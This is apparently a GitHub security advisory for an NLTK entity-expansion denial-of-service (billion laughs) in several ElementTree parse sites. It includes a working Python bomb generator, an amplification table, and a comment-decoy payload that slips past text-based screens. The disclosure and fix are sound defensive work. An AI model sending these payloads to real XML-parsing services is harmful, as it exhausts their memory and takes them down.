NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service. Affected call sites (<= 3.10.2): - `nltk.chunk.named_entity.load_ace_file` , parses ACE annotation XML - `nltk.internals.ElementWrapper` , converts any given string to an Element - `nltk.downloader` , `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages` libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure. This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent. --- ## Attack demonstration Reproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative. ### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`) A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input: | levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - | The level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold , up to ~1 MB per parse here , expansion always succeeds. ```python import xml.etree.ElementTree as ET def bomb(levels): d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1)) return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>' ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars ``` ### 2. The patched entry point rejects it ``` >>> from nltk.internals import ElementWrapper >>> ElementWrapper(bomb(5)) EntitiesForbidden: EntitiesForbidden(name='e0', ...) ``` ### 3. Why a text-based screen is not enough An entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not: ```python evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>' ``` ``` raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars) nltk.xmlsec -> REJECTED (EntitiesForbidden) ``` An earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests. ### 4. Both back ends block it `nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback: ``` stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden) stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden) ``` Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-776

Also known as

CVE-2026-78681, PYSEC-2026-3748

• github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7
• nvd.nist.gov/vuln/detail/CVE-2026-78681
• github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b
• github.com/nltk/nltk
• github.com/nltk/nltk/releases/tag/v3.10.3
• github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml
• www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree